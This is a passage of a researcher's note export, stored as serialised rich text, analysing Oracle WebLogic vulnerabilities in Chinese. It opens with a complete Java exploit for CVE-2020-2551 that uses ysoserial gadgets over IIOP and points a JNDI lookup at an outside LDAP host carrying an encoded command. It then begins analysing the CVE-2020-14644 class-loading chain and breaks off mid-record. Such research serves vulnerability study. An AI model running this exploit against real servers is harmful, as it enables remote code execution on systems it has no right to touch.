com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OYnR-1682256048964&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KPIw-1682256048962&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vxuj-1682256048966&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OuQA-1682256048965&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.naming.Context;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EZV7-1682256048968&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z2HX-1682256048967&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.naming.InitialContext;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MYzn-1682256048970&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0j2C-1682256048969&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Field;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PWnV-1682256048972&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ovoi-1682256048971&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.Remote;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UGGh-1682256048974&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;moao-1682256048973&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Hashtable;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lG5f-1682256048976&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jnmr-1682256048975&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;65ct-1682256048978&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8uq4-1682256048977&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import static ysoserial.payloads.util.Gadgets.createMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OVRB-1682256048980&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RAl1-1682256048979&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import static ysoserial.payloads.util.Gadgets.createMemoitizedProxy;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sw0D-1682256048982&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NceV-1682256048981&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bpxf-1682256048984&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w0jq-1682256048983&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class CVE_2020_2551 {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3RrY-1682256048986&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4WB9-1682256048985&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XXGD-1682256048988&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ztG5-1682256048987&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GuUh-1682256048990&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SUyG-1682256048989&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws Exception {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9tBa-1682256048992&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SsZy-1682256048991&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String ip = \&#34;127.0.0.1\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tdS4-1682256048994&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dsDw-1682256048993&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String port = \&#34;7001\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c1pY-1682256048996&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uauu-1682256048995&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String rmiurl = \&#34;ldap://192.168.0.103/cVLtcNoHML/Plain/Exec/eyJjbWQiOiJ0b3VjaCAvdG1wL3N1Y2Nlc3MxMjMifQ==\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DgDp-1682256048998&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZRoO-1682256048997&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String rhost = String.format(\&#34;iiop://%s:%s\&#34;, ip, port);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OWb4-1682256049000&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zo23-1682256048999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p1hZ-1682256049002&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;owIq-1682256049001&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Hashtable&lt;String, String&gt; env = new Hashtable&lt;String, String&gt;();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;70ca-1682256049004&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TNs0-1682256049003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // add wlsserver/server/lib/weblogic.jar to classpath,else will error.&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lkgU-1682256049006&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2yhs-1682256049005&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        env.put(\&#34;java.naming.factory.initial\&#34;, \&#34;weblogic.jndi.WLInitialContextFactory\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GOdW-1682256049008&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z0Z9-1682256049007&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        env.put(Context.PROVIDER_URL, rhost);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XZxR-1682256049010&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y6hL-1682256049009&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Context context = new InitialContext(env);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mwfj-1682256049012&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WOlj-1682256049011&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cSxl-1682256049014&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ht5A-1682256049013&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        jtaTransactionManager.setUserTransactionName(rmiurl);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XSgR-1682256049016&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z4Hs-1682256049015&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Remote remote = createMemoitizedProxy(createMap(\&#34;pwned\&#34;+System.nanoTime(), jtaTransactionManager), Remote.class);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oPcv-1682256049018&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t3Nr-1682256049017&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MHcw-1682256049020&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m9tU-1682256049019&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        context.bind(\&#34;test3\&#34;, remote);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JTbJ-1682256049022&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PZKb-1682256049021&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        context.lookup(\&#34;test3\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zFW9-1682256049024&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wvjg-1682256049023&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wiLn-1682256049026&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C27v-1682256049025&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5EZl-1682256049095&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6691/WEBRESOURCE9f3c517fe93187caee20ba6dd4a83d94&#34;,&#34;width&#34;:1874,&#34;height&#34;:456},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6691/WEBRESOURCE9f3c517fe93187caee20ba6dd4a83d94&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1874,&#34;height&#34;:456},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YhDp-1682256049096&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6692/WEBRESOURCEe1669fed661587dce6943d0686ef5ed1&#34;,&#34;width&#34;:1384,&#34;height&#34;:332},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6692/WEBRESOURCEe1669fed661587dce6943d0686ef5ed1&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1384,&#34;height&#34;:332},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lL5k-1682256034750&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tDIF-1682256034748&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EPae-1682255913164&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SZPT-1682255913162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2020-14644&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hm5W-1682256025032&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;J38n-1682256025775&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DKPu-1682256025033&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 10.3.6.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C1gu-1682256025770&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;J38n-1682256025775&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w0ds-1682256025769&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.1.3.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TLDa-1682256025772&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;J38n-1682256025775&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f0vm-1682256025771&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.2.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9SgX-1682256025774&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;J38n-1682256025775&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fAdm-1682256025773&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.2.1.4.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EUkQ-1682255943113&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WUSI-1682255942853&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QW50-1682255942856&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ByEv-1682255942855&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;主要问题出现在com.tangosol.internal.util.invoke.RemoteConstructor上：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dcPI-1682255942859&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lmYq-1682255942858&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;26d0-1682255942857&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RemoteConstructor.readResolve -&gt; RemoteConstructor.newInstance -&gt; RemotableSupport.realize&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aK0m-1682255942861&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UYaS-1682255942860&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RemotableSupport.realize中存在两个方法调用：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5LWE-1682255943117&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6649/WEBRESOURCE49f77600c63e0166277138eda0b1d535&#34;,&#34;width&#34;:1860,&#34;height&#34;:900},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6649/WEBRESOURCE49f77600c63e0166277138eda0b1d535&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1860,&#34;height&#34;:900},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ukcX-1682255942864&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z9FP-1682255942863&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;分别为重载后的defineClass方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W7An-1682255943118&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6650/WEBRESOURCE9e95407d1300f1feb3c0587dabab3346&#34;,&#34;width&#34;:1434,&#34;height&#34;:448},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6650/WEBRESOURCE9e95407d1300f1feb3c0587dabab3346&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1434,&#34;height&#34;:448},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hkYZ-1682255943119&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6651/WEBRESOURCE081545ca079555ba4f0a1fa32dd45f9d&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6651/WEBRESOURCE081545ca079555ba4f0a1fa32dd45f9d&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0idZ-1682255942868&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Lk90-1682255942867&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;与实例化方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wEvf-1682255943120&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6652/WEBRESOURCE27505c7a9dc8efd4250bfe662c12ebab&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6652/WEBRESOURCE27505c7a9dc8efd4250bfe662c12ebab&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SVdk-1682255942871&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ahbo-1682255942870&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;defineClass的值来自于definition&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HXY6-1682255943121&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6653/WEBRESOURCEba4f721ed1c3c9a84dd2a9784f5630d0&#34;,&#34;width&#34;:1502,&#34;height&#34;:426},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oDue-1682255942874&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wkea-1682255942873&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;getName()的逻辑如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H8qv-1682255942890&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fbIH-1682255942877&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iL0V-1682255942876&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public String getName() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AswL-1682255942879&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ibQk-1682255942878&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return this.getPackage() + \&#34;/\&#34; + this.getSimpleName();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fflt-1682255942881&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UU8c-1682255942880&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VVxh-1682255942883&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ccD5-1682255942882&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZuvL-1682255942885&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nEUh-1682255942884&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public String getSimpleName() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wKXJ-1682255942887&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ywef-1682255942886&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return this.getBaseName() + \&#34;$\&#34; + this.getVersion();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fsoL-1682255942889&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MESZ-1682255942888&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;typescript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yCHy-1682255942892&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7uEU-1682255942891&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在defineClass时我们的classname需要与传入的字节码保持一致。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qq5E-16822